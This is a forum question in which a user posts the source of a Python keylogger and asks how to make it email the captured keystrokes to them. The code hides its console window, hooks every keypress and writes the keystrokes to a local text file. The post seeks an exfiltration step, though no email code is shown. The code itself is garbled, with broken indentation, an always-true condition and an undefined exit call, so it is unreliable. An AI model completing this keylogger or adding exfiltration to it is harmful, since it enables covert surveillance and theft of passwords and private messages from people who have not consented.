title: Python program that sends txt file to email
body: <p>I've recently created a python keylogger. The code is :</p>
  
  <pre><code>import win32api
  import win32console
  import win32gui
  import pythoncom,pyHook
  
  win=win32console.GetConsoleWindow()
  win32gui.ShowWindow(win,0)
  
  def OnKeyboardEvent(event):
  if event.Ascii==5:
      _exit(1)
  if event.Ascii !=0 or 8:
  #open output.txt to read current keystrokes
      f=open('c:\output.txt','r+')
  buffer=f.read()
  f.close()
  #open output.txt to write current + new keystrokes
  f=open('c:\output.txt','w')
  keylogs=chr(event.Ascii)
  if event.Ascii==13:
      keylogs='/n'
  buffer+=keylogs
  f.write(buffer)
  f.close()
  # create a hook manager object
  hm=pyHook.HookManager()
  hm.KeyDown=OnKeyboardEvent
  # set the hook
  hm.HookKeyboard()
  # wait forever
  pythoncom.PumpMessages()
  </code></pre>
  
  <p>However, I would like this to send to my e-mail. Do you have any idea what I could add to allow this, or a separate program that would do this. </p>
  
  <p>Thanks in advance </p>